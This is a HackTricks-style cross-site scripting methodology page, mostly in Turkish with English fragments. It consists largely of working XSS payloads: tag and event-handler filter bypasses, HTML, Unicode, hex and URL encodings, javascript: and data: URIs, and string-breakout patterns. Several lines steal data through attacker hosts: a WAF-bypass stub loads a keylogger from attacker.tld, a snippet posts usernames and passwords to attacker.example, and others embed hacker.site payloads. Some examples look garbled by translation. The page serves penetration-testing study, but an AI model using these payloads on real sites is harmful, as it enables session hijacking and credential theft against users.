XSS (Cross Site Scripting)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Metodoloji

  1. Kontrol ettiğiniz herhangi bir değer (parameters, path, headers?, cookies?) HTML’de yansıtılıyor veya JS kodu tarafından kullanılıyor mu kontrol edin.
  2. Değerin yansıtıldığı/kullanıldığı konteksti bulun.
  3. Eğer yansıtılıyorsa
  4. Hangi sembolleri kullanabildiğinizi kontrol edin ve buna göre payload’u hazırlayın:
  5. Raw HTML içinde:
  6. Yeni HTML tag’leri oluşturabiliyor musunuz?
  7. javascript: protokolünü destekleyen event veya attribute’ları kullanabiliyor musunuz?
  8. Korumalardan (protections) kaçabilir misiniz?
  9. HTML içeriği herhangi bir client side JS engine (AngularJS, VueJS, Mavo…) tarafından yorumlanıyorsa, Client Side Template Injection suistimal edilebilir.
  10. Eğer JS çalıştıran HTML tag’leri oluşturamıyorsanız, Dangling Markup - HTML scriptless injection’ten yararlanabilir misiniz?
  11. Bir HTML tag içinde:
  12. Attribute’dan ve tag’den çıkarak raw HTML kontekstine geçebilir misiniz?
  13. JS kodu çalıştıracak yeni event/attribute’lar oluşturabilir misiniz?
  14. Takıldığınız attribute JS yürütmesini destekliyor mu?
  15. Korumalardan kaçabilir misiniz?
  16. JavaScript kodu içinde:
  17. <script> tag’inden kaçabilir misiniz?
  18. String’ten çıkıp farklı JS kodu çalıştırabilir misiniz?
  19. Girdiğiniz template literal’lar `` içinde mi?
  20. Korumalardan kaçabilir misiniz?
  21. Çalıştırılan JavaScript fonksiyonu
  22. Hangi fonksiyonun çalıştırılacağını belirtebilirsiniz. Örnek: ?callback=alert(1)
  23. Eğer kullanılıyorsa:
  24. Bir DOM XSS suistimal edebilirsiniz, girdinizin nasıl kontrol edildiğine ve kontrollü girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına dikkat edin.

Karmaşık bir XSS üzerinde çalışırken aşağıdakileri bilmek ilginizi çekebilir:

Debugging Client Side JS

Yansıtılan değerler

Bir XSS’ten başarıyla faydalanmak için ilk bulmanız gereken şey, web sayfasında yansıtılan ve sizin kontrolünüzde olan bir değerdir.

  • Ara yansıtılmış (Intermediately reflected): Bir parametrenin veya hatta path’in değeri web sayfasında yansıtılıyorsa Reflected XSS’i suistimal edebilirsiniz.
  • Stored ve yansıtılan: Kontrolünüzde olan bir değer sunucuda saklanıyor ve her sayfa erişiminde yansıtılıyorsa Stored XSS suistimal edilebilir.
  • JS ile erişilen: Kontrolünüzde olan bir değerin JS ile erişildiğini bulursanız DOM XSS suistimal edebilirsiniz.

Kontekstler

Bir XSS’i suistimal etmeye çalışırken ilk bilmeniz gereken, girdinizin nereye yansıtıldığıdır. Kontekste bağlı olarak, rastgele JS kodunu farklı yollarla çalıştırabilirsiniz.

Raw HTML

Girdiniz raw HTML içinde yansıtılıyorsa JS kodunu çalıştırmak için bazı HTML tag’lerinden faydalanmanız gerekir: <img , <iframe , <svg , <script … bunlar kullanabileceğiniz birçok HTML tag’inden sadece bazılarıdır.
Ayrıca Client Side Template Injection’i aklınızda tutun.

HTML tag attribute’ları içinde

Girdiniz bir tag’ın attribute değerinin içinde yansıtılıyorsa şunları deneyebilirsiniz:

  1. Attribute’dan ve tag’den kaçmak (sonrasında raw HTML kontekstinde olursunuz) ve suistimal etmek için yeni HTML tag oluşturmak: "><img [...]
  2. Eğer attribute’dan kaçabiliyor ama tag’den kaçamıyorsanız (> encode edilmiş veya silinmişse), tag’e bağlı olarak JS çalıştıran bir event oluşturabilirsiniz: " autofocus onfocus=alert(1) x="
  3. Eğer attribute’dan kaçamıyorsanız (" encode ediliyor veya siliniyorsa), o zaman hangi attribute içinde yansıtıldığınıza ve tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak istismar edebilirsiniz. Örneğin, eğer bir onclick= gibi bir event’i kontrol ediyorsanız tıklama ile arbitrary kod çalıştırabilirsiniz. Bir diğer ilginç örnek href attribute’üdür; burada javascript: protokolünü kullanarak arbitrary kod çalıştırabilirsiniz: href="javascript:alert(1)"
  4. Girdiniz “istismar edilemez tag’lar” içinde yansıtılıyorsa accesskey numarasıyla vuln’u suistimal etmeye çalışabilirsiniz (bunu suistimal etmek için biraz sosyal mühendislik gerekir): " accesskey="x" onclick="alert(1)" x="

WAF’ler arkasındaki attribute-only login XSS

Kurumsal bir SSO login sayfası OAuth service parametresini <a id="forgot_btn" ...> elementinin href attribute’unda yansıtıyordu. < ve > HTML-encode edilmiş olsa da, çift tırnaklar edilmemişti, bu yüzden saldırgan attribute’u kapatıp aynı elementi kullanarak " onfocus="payload" x=" gibi handler’lar enjekte edebildi.

  1. Handler’ı inject edin: onclick="print(1)" gibi basit payload’lar engellendi, ama WAF inline attribute’ları ilk JavaScript ifadesiyle sınırlı olarak inceledi. Zararsız bir ifadeyi parantez içinde öne koyup ardından noktalı virgül eklemek, gerçek payload’un çalışmasına izin verdi: onfocus="(history.length);malicious_code_here".
  2. Otomatik tetikleyin: Tarayıcılar fragment ile eşleşen id’ye sahip herhangi bir elementi fokuslar, bu yüzden exploit URL’sine #forgot_btn eklemek anchor’ı sayfa yüklenirken focus eder ve handler’ı tıklama gerektirmeden çalıştırır.
  3. Inline stub’ı küçük tutun: Hedef zaten jQuery gönderiyordu. Handler sadece saldırganın sunucusundaki tam keylogger’ı yüklerken $.getScript(...) ile bir isteği bootstrap etmeye ihtiyaç duyuyordu.

Tırnaksız string oluşturma

Tek tırnaklar URL-encoded döndürüldü ve escape edilmiş çift tırnaklar attribute’u bozduğundan, payload her string’i String.fromCharCode ile üretti. Bir yardımcı fonksiyon herhangi bir URL’yi attribute’a yapıştırmadan önce char kodlarına çevirmeyi kolaylaştırır:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

Ortaya çıkan attribute şöyle görünüyordu:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

Bunun neden kimlik bilgilerini çaldığı

Dış script (saldırgan kontrolündeki bir host veya Burp Collaborator’dan yüklenen) document.onkeypress’e bağlandı, tuş vuruşlarını tamponladı ve her saniye new Image().src = collaborator_url + keys çalıştırdı. Çünkü XSS yalnızca kimliği doğrulanmamış kullanıcılar için tetiklendiğinden, hassas işlem login formunun kendisidir — saldırgan, kurban “Login“e hiç basmasa bile kullanıcı adları ve parolaların tuş vuruşlarını kaydeder.

Weird example of Angular executing XSS if you controls a class name:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

JavaScript kodu içinde

Bu durumda girdiniz bir HTML sayfasının <script> [...] </script> etiketleri arasında, bir .js dosyasının içinde veya javascript: protokolünü kullanan bir attribute içinde yansıtılır:

  • Eğer <script> [...] </script> etiketleri arasında yansıtılıyorsa, girdiniz herhangi bir tür tırnak içinde olsa bile </script> enjekte etmeyi ve bu bağlamdan kaçmayı deneyebilirsiniz. Bu işe yarar çünkü tarayıcı önce HTML etiketlerini parse edecek ve sonra içeriği işleyecektir; dolayısıyla enjekte ettiğiniz </script> etiketinin HTML kodunun içinde olduğunu fark etmez.
  • Eğer girdiniz inside a JS string yansıtılıyorsa ve önceki hile işe yaramıyorsa, string’ten çıkmanız, kodunuzu çalıştırmanız ve JS kodunu yeniden oluşturmanız gerekir (herhangi bir hata olursa, kod çalıştırılmaz:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Eğer template literals içinde yansıtılıyorsa, ${ ... } sözdizimini kullanarak JS ifadelerini gömebilirsiniz: var greetings = `Hello, ${alert(1)}`
  • Unicode encode geçerli javascript kodu yazmak için işe yarar:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting, fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra tanımlama fırsatına atıfta bulunur; bu sayede bir XSS’in tanımlanmamış değişkenleri veya fonksiyonları kullandığı senaryolardan faydalanabilirsiniz.
Daha fazla bilgi için şu sayfayı kontrol edin:

JS Hoisting

Javascript Fonksiyonu

Bazı web sayfalarında, çalıştırılacak fonksiyonun adını parametre olarak kabul eden endpoint’ler bulunur. Vahşi ortamda sık gördüğünüz ortak bir örnek şuna benzer: ?callback=callbackFunc.

Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalıştırılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmek (örneğin ‘Vulnerable’) ve konsolda şu gibi hatalara bakmaktır:

Eğer vulnerable ise, sadece değeri göndererek bir alert tetikleyebilirsiniz: ?callback=alert(1). Ancak, bu endpoint’lerin içeriği sadece harf, rakam, nokta ve alt çizgiye izin verecek şekilde doğrulaması çok yaygındır ([\w\._]).

Ancak, bu sınırlama olsa bile bazı işlemleri gerçekleştirmek hâlâ mümkündür. Bunun nedeni, bu geçerli karakterleri DOM’daki herhangi bir elemana erişmek için kullanabilmenizdir:

Bazı kullanışlı fonksiyonlar için:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Ayrıca Javascript fonksiyonlarını doğrudan tetiklemeyi deneyebilirsiniz: obj.sales.delOrders.

Ancak genellikle belirtilen fonksiyonu çalıştıran endpoint’ler ilginç bir DOM’a sahip olmaz; aynı origin içindeki diğer sayfalar ise daha fazla eylem gerçekleştirmek için daha ilginç bir DOM barındırır.

Bu nedenle, bu zafiyeti farklı bir DOM’da kötüye kullanmak için Same Origin Method Execution (SOME) istismarı geliştirildi:

SOME - Same Origin Method Execution

DOM

JS code içinde location.href gibi saldırgan tarafından kontrol edilen verileri güvenli olmayan şekilde kullanan kodlar vardır. Bir saldırgan bunu kötüye kullanarak rastgele JS kodu çalıştırabilir.

DOM XSS

Universal XSS

Bu tür XSS’ler her yerde bulunabilir. Sadece bir web uygulamasının istemci tarafı istismarına bağlı değildir; herhangi bir bağlama bağlı olabilir. Bu tür rastgele JavaScript yürütme istismarları RCE elde etmek, istemci ve sunucularda rastgele dosyaları okumak gibi daha fazla kötüye kullanıma yol açabilir ve daha fazlası.
Bazı örnekler:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Ham HTML içine enjeksiyon

Girdiğiniz içerik HTML sayfası içinde yansıtılıyor veya bu bağlamda HTML kodu kaçıp enjekte edebiliyorsanız, yapmanız gereken ilk şey yeni tag oluşturmak için < karakterini kötüye kullanıp kullanamayacağınızı kontrol etmektir: Sadece o karakteri yansıtmayı deneyin ve bunun HTML encoded edilip edilmediğini, silinip silinmediğini ya da değişmeden yansıtılıp yansıtılmadığını kontrol edin. Yalnızca son durumda bu durumu istismar edebilirsiniz.
Bu durumlar için ayrıca Client Side Template Injection aklınızda bulundurun.
Not: Bir HTML yorumu --> veya --!> ile kapatılabilir

Bu durumda ve herhangi bir kara/beyaz listeleme kullanılmıyorsa, şu tür payload’lar kullanabilirsiniz:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.

Tags/Events brute-force

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

Custom tags

If you didn’t find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Eğer bir tür blacklist kullanılıyorsa, bazı basit hilelerle bypass etmeyi deneyebilirsiniz:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Farklı ortamlar için daha fazla tiny XSS payload can be found here ve here.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Sonuncusu 2 unicode karakteri kullanıyor ve bu 5’e genişliyor: telsr\
Daha fazla bu karakterlerden here.
Hangi karakterlere ayrıldığını kontrol etmek için here bakın.

Click XSS - Clickjacking

Eğer zafiyeti exploit etmek için kullanıcının önceden doldurulmuş bir linke veya forma tıklaması gerekiyorsa, sayfa savunmasızsa abuse Clickjacking deneyebilirsiniz.

İmkansız - Dangling Markup

Eğer sadece JS kodu çalıştırmak için attribute’a sahip bir HTML tagi oluşturmanın imkansız olduğunu düşünüyorsanız, Danglig Markup kontrol etmelisiniz çünkü zafiyeti JS çalıştırmadan exploit edebilirsiniz.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Eğer HTML tagi içinde iseniz, deneyebileceğiniz ilk şey tagdan escape ederek previous section kısmında bahsedilen tekniklerin bazılarını JS kodu çalıştırmak için kullanmaktır.
Eğer tagdan escape edemiyorsanız, tag içinde yeni attribute’lar oluşturarak JS kodu çalıştırmayı deneyebilirsiniz; örneğin şöyle bir payload kullanarak (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Stil olayları

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Öznitelik içinde

Öznitelikten kaçış sağlayamıyor olsanız bile (" kodlanıyor veya siliniyor), değerinizin hangi özniteliğe yansıtıldığına ve değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak bunu kötüye kullanabilirsiniz. Örneğin, onclick= gibi bir event’i kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.
Bir diğer ilginç örnek href özniteliğidir; burada javascript: protokolünü kullanarak rastgele kod çalıştırabilirsiniz: href="javascript:alert(1)"

Event içinde bypass using HTML encoding/URL encode

HTML etiketlerinin öznitelik değerleri içindeki HTML ile kodlanmış karakterler çalışma zamanında çözülür. Bu nedenle aşağıdakine benzer bir şey geçerli olacaktır (payload kalın yazıdır): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Şunu unutmayın: Her türlü HTML kodlaması geçerlidir:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Unutmayın ki URL encode de işe yarar:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass event içinde Unicode encode kullanarak

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Öznitelik İçindeki Özel Protokoller

Orada bazı yerlerde javascript: veya data: protokollerini keyfi JS kodu çalıştırmak için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları gerektirmeyecek.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Bu protokolleri enjekte edebileceğiniz yerler

Genel olarak javascript: protokolü href özniteliğini kabul eden herhangi bir etikette kullanılabilir ve çoğu src özniteliğini kabul eden etiketlerde de (ancak <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Diğer obfuscation tricks

Bu durumda önceki bölümdeki HTML encoding ve Unicode encoding trick de geçerlidir çünkü attribute içindesiniz.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Ayrıca, bu durumlar için başka bir güzel hile daha var: javascript:... içindeki girdiniz URL encoded olsa bile, yürütülmeden önce URL decoded edilir. Yani, eğer bir single quote kullanarak string’den escape etmeniz gerekiyorsa ve bunun URL encoded olduğunu görüyorsanız, unutmayın ki fark etmez, yürütme zamanında single quote olarak yorumlanacaktır.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Unutmayın ki eğer her ikisini URLencode + HTMLencode herhangi bir sırayla payload’ı encode etmek için kullanmaya çalışırsanız bu çalışmayacaktır (işe yaramaz), ancak payload içinde bunları karıştırabilirsiniz.

javascript: ile Hex ve Octal encode kullanımı

iframe’in src attribute’ı içinde (en azından) Hex ve Octal encode kullanarak HTML tags to execute JS tanımlayabilirsiniz:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Eğer rastgele bir <a href= etiketine herhangi bir URL enjekte edebiliyorsanız ve bu etiket target="_blank" and rel="opener" özniteliklerini içeriyorsa, bu davranışı istismar etmek için aşağıdaki sayfayı kontrol edin:

Reverse Tab Nabbing

on Event Handlers Bypass

Öncelikle kullanışlı “on” event handlers için bu sayfayı kontrol edin (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).
Eğer bazı blacklist’ler bu event handler’ları oluşturmanızı engelliyorsa, aşağıdaki bypass’ları deneyebilirsiniz:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Buradan here artık hidden inputs şu şekilde kötüye kullanılabiliyor:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Ve meta etiketleri:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Buradan here: Bir XSS payload inside a hidden attribute çalıştırabilirsiniz, eğer victim’i ikna etmek suretiyle tuş kombinasyonu’na basmasını sağlayabilirseniz. Firefox Windows/Linux’ta tuş kombinasyonu ALT+SHIFT+X; OS X’te ise CTRL+ALT+X. access key attribute içinde farklı bir key kullanarak başka bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload şu şekilde olabilir: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Bu bölümde farklı encoding kullanarak yapılan birkaç hile zaten gösterildi. Geri dönüp nerelerde kullanabileceğinizi öğrenin:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Önceki bölümdeki Blacklist Bypasses of the previous section bölümünü okuyun.

Bypasses for JavaScript code

Aşağıdaki bölümdeki JavaScript bypass blacklist of the following section bölümünü okuyun.

CSS-Gadgets

Eğer web’in çok küçük bir kısmında etkileşim gerektiren bir XSS bulduysanız (ör. footer’da onmouseover öğesi içeren küçük bir link), linkin tetiklenme olasılığını maksimize etmek için o öğenin kapladığı alanı değiştirmeyi deneyebilirsiniz.

Örneğin, öğeye şu stili ekleyebilirsiniz: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Ancak, WAF style attribute’unu filtreliyorsa, CSS Styling Gadgets kullanabilirsiniz; örneğin şuları bulursanız

.test {display:block; color: blue; width: 100%}

ve

#someid {top: 0; font-family: Tahoma;}

Şimdi linkimizi şu forma dönüştürebilirsiniz:

<a href=“” id=someid class=test onclick=alert() a=“”>

Bu hile şu kaynaktan alınmıştır: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

Bu durumda sizin input değeriniz bir .js dosyasının veya <script>...</script> etiketleri arasındaki JS kodu içinde, JS çalıştırabilecek HTML event’leri arasında veya javascript: protokolünü kabul eden attribute’lar içinde yansıtılacaktır.

Escaping <script> tag

Eğer kodunuz <script> [...] var input = 'reflected data' [...] </script> içine yerleştiriliyorsa, kolayca <script> etiketinin kapanışından kaçabilirsiniz:

</script><img src=1 onerror=alert(document.domain)>

Bu örnekte tek tırnak işaretini bile kapatmadığımıza dikkat edin. Bunun nedeni, HTML ayrıştırmasının önce tarayıcı tarafından yapılmasıdır, bu işlem sayfa öğelerinin, script blokları dahil, tanımlanmasını içerir. JavaScript’in gömülü scriptleri anlamak ve çalıştırmak için ayrıştırılması ise yalnızca sonrasında gerçekleştirilir.

JS kodu içinde

Eğer <> temizleniyorsa, yine girişinizin bulunduğu yerde dizeyi escape ederek ve keyfi JS çalıştırabilirsiniz. JS sözdizimini düzeltmek önemlidir, çünkü herhangi bir hata varsa, JS kodu çalıştırılmayacaktır:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Kullanıcı girdisi tırnak içine alınmış bir JavaScript stringi içine düştüğünde (ör. server-side echo ile bir inline script’e), stringi sonlandırabilir, kod enjekte edebilir ve ayrıştırmanın geçerli kalması için sözdizimini onarabilirsiniz. Genel iskelet:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Zafiyetli parametrenin bir JS string’ine yansıtıldığı örnek URL deseni:

?param=test";<INJECTION>;a="

Bu, HTML bağlamına dokunmaya gerek kalmadan saldırgan JS’in çalıştırılmasını sağlar (pure JS-in-JS). Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin.

Template literals ``

Tek ve çift tırnakların dışında strings oluşturmak için JS ayrıca backticks `` kabul eder. Bu, ${ … } sözdizimiyle embedded JS expressions yerleştirmeye izin verdiği için template literals olarak bilinir.
Bu yüzden, girdiniz backticks kullanan bir JS string’inin içinde reflected ediliyorsa, ${ ... } sözdizimini kötüye kullanarak arbitrary JS code çalıştırabilirsiniz:

Bu şu şekilde kötüye kullanılabilir:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Encoded code execution

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

eval(atob()) ve scope nüanslarıyla teslim edilebilir payloads

URL’leri kısaltmak ve basit anahtar kelime filtrelerini aşmak için gerçek mantığınızı base64 ile encode edip eval(atob('...')) ile çalıştırabilirsiniz. Basit anahtar kelime filtresi alert, eval veya atob gibi identifier’ları engelliyorsa, tarayıcıda aynı şekilde derlenen ancak string-eşleme filtrelerinden kaçan Unicode-escaped identifier’lar kullanın:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Önemli bir scoping nüansı: eval() içinde tanımlanan const/let blok kapsamlıdır ve globals oluşturmaz; daha sonraki script’lerden erişilemezler. Gerekirse (örn. bir form handler’ını hijack etmek için) global, non-rebindable hook’lar tanımlamak üzere dinamik olarak enjekte edilen bir <script> elementi kullanın:

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referans: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode Encode ile JS yürütme

alert(1)
alert(1)
alert(1)

JavaScript bypass blacklists teknikleri

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Özel kaçışlar

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
